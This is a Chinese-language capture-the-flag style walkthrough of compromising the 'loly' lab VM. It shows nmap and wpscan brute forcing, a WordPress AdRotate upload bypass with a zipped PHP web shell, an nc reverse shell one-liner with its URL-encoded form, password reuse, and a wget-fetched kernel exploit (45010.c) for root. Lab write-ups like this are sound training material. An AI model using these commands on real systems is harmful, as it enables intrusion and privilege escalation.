前言
- 挑战攻克该靶机30分钟
靶机:loly靶机,IP地址为192.168.10.11
攻击:kali,IP地址为192.168.10.6
靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式
文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载
https://pan.quark.cn/s/a795145e3869
主机发现
也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。
使用arp-scan -l或者netdiscovery -r 192.168.10.1/24
当然也可以使用nmap等工具进行
arp-scan -l

信息收集
使用nmap扫描目标端口等信息
首先扫描目标的tcp端口的开放情况
nmap -sT --min-rate=1000 192.168.10.11 -p- -oA nmap-tcp

再扫描udp端口的开放情况
nmap -sU --min-rate=1000 192.168.10.11 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选,这里因为22端口并不是明确closed的,是filtered的,所以也要包括在内
ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测
nmap -sV -O -sC 192.168.10.11 -p $ports --min-rate=1000

再使用nmap的漏洞检测脚本对这些端口进行探测
nmap --script=vuln 192.168.10.11 -p $ports

枚举出的目录,可能是wordpress的CMS
网站信息探测
访问80端口的界面,是nginx安装后的默认界面,页面源代码没有信息泄露

使用whatweb或者浏览器插件wappalyzer进行查看相关配置

whatweb http://192.168.10.11 -v

使用gobuster等目录爆破工具进行测试
gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404 -x php,html,txt,md,zip

访问wordpress,可以看到,很是杂乱,这个不用说了吧,一般可能都需要绑定域名了

随便点击一个链接,可以发现指向的域名loly.lc,或者自己去查看页面源代码

绑定域名,采用静态文件hosts,计算机会优先去查看这个文件中的解析对应。
在linux系统中,文件在/etc/hosts,windows系统,文件在C:\Windows\System32\Drivers\etc\hosts
这里使用的是kali,所以修改/etc/hosts文件

再次访问,可以发现,解析成功

wordpress探测
使用whatweb进一步探测,发现wordpress的版本信息
whatweb http://192.168.10.11/wordpress -v

那么下一步,使用针对wordpress的工具wpscan
wpscan --url http://192.168.10.11/wordpress -e u

枚举出用户,进一步进行密码破解
wpscan --url http://192.168.10.11/wordpress -U loly -P /usr/share/wordlists/rockyou.txt

用户名loly和密码fernando
文件上传
在登录后,经过多方测试,最终在插件AdRotate中,找到一个文件上传的测试点,并且在寻找的时候,也发现在相关设置中有文件上传后的地址,很清晰了,只是文件上传的种种需要多方测试


首先就是简单的测试:
- 直接上传
php,不行 - 修改后缀名再上传,不行。
- 后缀名出以
shell.php.jpg,生成图片马。不行 - 双写
php以及大小写php,不行 - 更改
mime类型,不行 - 以图片的形式上传,不解析为
php - 无法上传
.htaccess文件,无法修改解析
根据上面,测试其他的几种,也就是js,html,zip
html类型,不解析为php,所以不行js类型,显示源代码,也不解析,不行- 以
zip压缩后的文件,可以,并成功解析
只是上传为zip文件,访问的时候以php访问。如
info.php.zip,访问的时候为info.php
这里注意一点,采用linxu中的zip压缩工具,不要使用windows压缩,不一样
echo "<?php phpinfo();?>" > info.phpzip -r -o info.php.zip info.php

我也测试过,把压缩包的数据进行抓包然后截取,但是不行。所以我放弃使用windows上传这个脚本了

那么编写一个代码,以可以命令执行
echo '<?php system($_GET["loly"]);?>' > shell.php
zip -r -o shell.php.zip shell.php
上传后,访问即可,构造shell.php?loly=ls,即可发现

构造反弹shell代码,首先在kali开启监听,然后再使用下面代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f
#进行url编码
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%20192.168.10.6%209999%20%3E%2Ftmp%2Ff

靶机内信息收集
既然有wordpress,那么就一定要看看其配置文件wp-config.php
获取用户名wordpress和密码lolyisabeautifulgirl

查看网络状态
ss -antulp

发现3306开放,可能就是mysql,以前面的登录测试,登录之前,先测试安装什么版本的python
dpkg -l | grep python
#加一层shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
数据库中只有一个用户名和密码,与前面枚举出的一样
继续探测信息,首先知道两个密码。fernando和lolyisabeautifulgirl
查看当前系统用户,发现只有loly一个
使用find寻找具有SUID权限的文件,发现sudo和su
find / -perm -4000 -print 2>/dev/null
sudo -l测试,需要密码

尝试使用两个密码,测试loly,是否存在多用的情况
成功了,以lolyisabeautifulgirl登录

再次使用sudo -l,没有文件给loly使用。
收集内核版本等信息
uname -a
uname -r
cat /etc/issue
cat /etc/*release
lsb_release

当然,后面其实还有脚本上传进行检测,不过因为这里搜索到合适的提权脚本,并且可以使用,所以不上传脚本了
提权
使用gcc -v确定靶机安装了gcc
使用searchsploit搜索到可利用的漏洞
searchsploit 4.4.0-31 ubuntu Privilege

根据内核版本和系统信息,这些都是可以测试的,先测试第二个45010.c
#把脚本下载到当前目录下
searchsploit -m 45010.c

然后查看脚本

在kali使用python开启监听,然后靶机使用wget下载即可
#kali执行
python3 -m http.server 1234#靶机执行
wget http://192.168.10.6:1234/45010.c
这里在loly的主目录,因为他有一个脚本,可能会定期清理/tmp目录,我也不想再更改脚本,省时间

靶机执行脚本中编译和执行即可
gcc 45010.c -o exp
chmod +x exp
./exp


对应其他的脚本能否提权,自己去试试,一定要动手测试,积累经验
总结
该靶机的考察主要就是从web到内网
- 网站主流CMS的识别
wpscan的使用,当然爆破也可以使用其他工具,如burp等,不过这个工具是专门针对wordpress,所以,建议使用- 文件上传如何绕过检测,这里应该是利用对于压缩包的一个解析漏洞,导致执行了
php代码 wordpress的配置文件要清楚- 靶机内的信息收集,内核等信息